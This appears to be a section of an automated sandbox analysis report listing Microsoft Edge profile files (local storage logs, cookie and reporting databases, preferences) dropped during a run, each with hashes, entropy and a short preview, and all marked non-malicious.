SHA-256:	CF036339478D21B1B3EA4A5CA209A450F9C1823411D403AC34AC27CEB20F5EC2
SHA-512:	E3920C95BA67B1F471884882809ECEAC71C1BD3FC5408667460C35376AA6BF807787DABCE66B0B3102E3AB18A7463A5763EC5E5BDEC9BCE8AF7B0309D8F3EC39
Malicious:	false
Preview:	.[...................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult@.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":1028}.!_https://ntp.msn.com..LastKnownPV..1744042210028.-_https://ntp.msn.com..LastVisuallyReadyMarker..1744042212182.._https://ntp.msn.com..MUID!.0CD6EFCADE7267A82236FA0DDF1066E0.%_https://ntp.msn.com..authRecordTrail...[{"time":"2025-04-07T16:10:09.953Z","action":"NUT","result":"SUCCESS","state":{"isSignedIn":false,"accountType":"UNSUPPORTED_SOVEREIGNTY","signedInAccounts":[0],"storage":{"elt":0,"lt":0,"aace":0,"ace":0,"app_anon":0,"anon":0,"app_wid":0},"appType":"edgeChromium","pageType":"dhp"}}].._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1744042210102,"schedule":[-1,34,-1,-1,-1,4,27],"scheduleFixed":[-1,34,-1,-1,-1,4,27],"simpleSchedule":[36,27,17,18,34,50,35]}.%_https://ntp.msn.com..clean_meta_flag..1.&_https://ntp.msn.com..digital-id-cachel.{"muid":"m-0CD6EFCADE7267A82236FA0DDF106

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.121195379457693
Encrypted:	false
SSDEEP:	6:iORPEULN+q2PcNwi23oH+Tcwt8a2jMGIFUtDPEUQVZZmw9PEU2YRSNVkwOcNwi2o:7RPEUp+vLZYeb8EFUtDPEUQZ/9PEU28W
MD5:	721AB18FF84267B4D5DD5E4C623C431A
SHA1:	83A2FC0F5640BB5976EE7145AB658BD2B03D904D
SHA-256:	B8E60A676C64674DC7742E7EF5A6F01C4D269BCC9A15029030BD9F68B5827B7C
SHA-512:	7B0536C100A0CCCF579DAD626FB80DFCD5259450376574DEB6A809174EE75214A3802143E258ABFE4C2D1FC6FF27E4D46D244BD92E6826EB79D777422C8BCD15
Malicious:	false
Preview:	2025/04/07-12:10:01.512 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/04/07-12:10:01.515 1d4c Recovering log #3.2025/04/07-12:10:01.517 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.121195379457693
Encrypted:	false
SSDEEP:	6:iORPEULN+q2PcNwi23oH+Tcwt8a2jMGIFUtDPEUQVZZmw9PEU2YRSNVkwOcNwi2o:7RPEUp+vLZYeb8EFUtDPEUQZ/9PEU28W
MD5:	721AB18FF84267B4D5DD5E4C623C431A
SHA1:	83A2FC0F5640BB5976EE7145AB658BD2B03D904D
SHA-256:	B8E60A676C64674DC7742E7EF5A6F01C4D269BCC9A15029030BD9F68B5827B7C
SHA-512:	7B0536C100A0CCCF579DAD626FB80DFCD5259450376574DEB6A809174EE75214A3802143E258ABFE4C2D1FC6FF27E4D46D244BD92E6826EB79D777422C8BCD15
Malicious:	false
Preview:	2025/04/07-12:10:01.512 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/04/07-12:10:01.515 1d4c Recovering log #3.2025/04/07-12:10:01.517 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\099b42f1-9770-4541-9a2f-fb821797a992.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3f612597-cb5a-407a-a2be-04068ae65ca0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3ff2d16c-cb65-4e2c-8407-e7acf86d403b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6f4a3b5e-4a50-4a66-a0c7-8d7fb8a1f2d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9a7de02a-3152-4a31-841b-4da8f1b83f53.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7914229001206685
Encrypted:	false
SSDEEP:	192:tTABJSm2fJ9BodSsT9zQpIxFRm1KaXcf0L/ZJVb:VABJgR9Bw9T9zQWgXI0LhJVb
MD5:	4834C1767F5CE3EA3BDF8D8996C1080E
SHA1:	06387C9C41CBE6ED7A40206019921D8C56D088A3
SHA-256:	80F4A86D88436D078B7E12404CA0DAC8429CF531C844210F6E00031A4564487C
SHA-512:	DBCBCFD6981D06960D686EC84252C3391A4479C9CA5E9BA7A3D056036C9D443B31A1F8BB88DB00202F8259118A6CD671AC7A859E4634BE5A4B834530B0515D03
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4595565167992803
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvShJ/oDB2QohfECPwG1a:+IEumQv8m1ccnvSTni
MD5:	C1ED26E17EFADBD04819620F272C667E
SHA1:	B209BE7D976ED43ECF06E2E653DD74A75733462B
SHA-256:	EDF9866624A744EBEE0A2F8F1538ED10237AC54F574765C10146E12E9303DFBC
SHA-512:	616196634848086DCE2C0F837A76E62B7A52BF1D3C46ADEFD4A0D2E2F29527D6D9B431D92FCA4D96DA7CCDEA6CB490D535F7CFCFE9E65906DCCF96F6DB8E1D81
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF23b88.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2475f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF25181.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a277d080-7f5c-48e8-a392-e8cd2123d432.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.7429706785845666
Encrypted:	false
SSDEEP:	12:TLSnAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isPnSdvd0dn3ldjt9d6XF:TLSOUOq0afDdWec9sJQ3tOXI7J5fc
MD5:	E837EA6D04D8BF6E6EB3DE44A0D55B3B
SHA1:	4B9760FAE3A4790477529EA827DFBAF077B626A6
SHA-256:	9AA122EA750652A4771847ED1329C17F416979053EDA385A99EC10C90AE04EB5
SHA-512:	1BFDF7E6574A2DA534265F8B6D8641CBC5E841FF445825E7E1634B70D40EC2D62016CBD34A0C739CD2F630A6587EA01B28CA9DA9534C9AD81E9B32CC49019AA5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13402
Entropy (8bit):	5.218274763893022
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypYsHujyaNP9kcdCNNYkc8ybV+FP3QwTeUmGPRYJ:stxPGQSu4YsOjtJ6ubGvQwTS9
MD5:	A7077ECB49856AF1BA34A778D5FB822E
SHA1:	7807AA6C87AF160BDD27FC53FFAB5A84DB90263E
SHA-256:	7157C2B2206A412A864FFB4FC08EF93E2C3DDA5D85199F0212F5052FDD127FBE
SHA-512:	E30B16EAA82A1A5875C9EB6C3F9F4758B4F45C1280E1D2970C7A4B341AFCF185FE20AAE79BBBD88BBE8FC758449BF13A024CD2BC49D45FEFCAB7415C73FA26D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13388515803018188","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2715d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13402
Entropy (8bit):	5.218274763893022
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypYsHujyaNP9kcdCNNYkc8ybV+FP3QwTeUmGPRYJ:stxPGQSu4YsOjtJ6ubGvQwTS9
MD5:	A7077ECB49856AF1BA34A778D5FB822E
SHA1:	7807AA6C87AF160BDD27FC53FFAB5A84DB90263E
SHA-256:	7157C2B2206A412A864FFB4FC08EF93E2C3DDA5D85199F0212F5052FDD127FBE
SHA-512:	E30B16EAA82A1A5875C9EB6C3F9F4758B4F45C1280E1D2970C7A4B341AFCF185FE20AAE79BBBD88BBE8FC758449BF13A024CD2BC49D45FEFCAB7415C73FA26D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13388515803018188","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2bdb8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13402
Entropy (8bit):	5.218274763893022
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypYsHujyaNP9kcdCNNYkc8ybV+FP3QwTeUmGPRYJ:stxPGQSu4YsOjtJ6ubGvQwTS9
MD5:	A7077ECB49856AF1BA34A778D5FB822E
SHA1:	7807AA6C87AF160BDD27FC53FFAB5A84DB90263E
SHA-256:	7157C2B2206A412A864FFB4FC08EF93E2C3DDA5D85199F0212F5052FDD127FBE
SHA-512:	E30B16EAA82A1A5875C9EB6C3F9F4758B4F45C1280E1D2970C7A4B341AFCF185FE20AAE79BBBD88BBE8FC758449BF13A024CD2BC49D45FEFCAB7415C73FA26D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13388515803018188","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF332d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13402
Entropy (8bit):	5.218274763893022
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypYsHujyaNP9kcdCNNYkc8ybV+FP3QwTeUmGPRYJ:stxPGQSu4YsOjtJ6ubGvQwTS9
MD5:	A7077ECB49856AF1BA34A778D5FB822E
SHA1:	7807AA6C87AF160BDD27FC53FFAB5A84DB90263E
SHA-256:	7157C2B2206A412A864FFB4FC08EF93E2C3DDA5D85199F0212F5052FDD127FBE
SHA-512:	E30B16EAA82A1A5875C9EB6C3F9F4758B4F45C1280E1D2970C7A4B341AFCF185FE20AAE79BBBD88BBE8FC758449BF13A024CD2BC49D45FEFCAB7415C73FA26D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13388515803018188","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36990
Entropy (8bit):	5.562708394094247
Encrypted:	false
SSDEEP:	768:WYfnvVWPj7fLc8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLqpShverwGgiHqKpltuU:WYfnvVWPj7fLcu1jauqp4v7GgiKAtj
MD5:	E1ED912B5B99488B3B9BCEC742449A5F
SHA1:	F4FDE5250EAAB97C6499B9E217991873EA38B4E0
SHA-256:	77AEF127287958068F89C37FBAEACE8A50A9BD9FF5A8CFAB817383759AA2C187
SHA-512:	90ACF0F39AF12B684BD304BE96575B68419D0693C8F9BC2817C1AD3EB18F47972DD29055848099C4E9EE176DEABF39315EC18103DB49F6184BEFC96C00848C3B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13388515801214131","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13388515801214131","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2710f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36990
Entropy (8bit):	5.562708394094247
Encrypted:	false
SSDEEP:	768:WYfnvVWPj7fLc8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLqpShverwGgiHqKpltuU:WYfnvVWPj7fLcu1jauqp4v7GgiKAtj
MD5:	E1ED912B5B99488B3B9BCEC742449A5F
SHA1:	F4FDE5250EAAB97C6499B9E217991873EA38B4E0
SHA-256:	77AEF127287958068F89C37FBAEACE8A50A9BD9FF5A8CFAB817383759AA2C187
SHA-512:	90ACF0F39AF12B684BD304BE96575B68419D0693C8F9BC2817C1AD3EB18F47972DD29055848099C4E9EE176DEABF39315EC18103DB49F6184BEFC96C00848C3B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13388515801214131","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13388515801214131","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

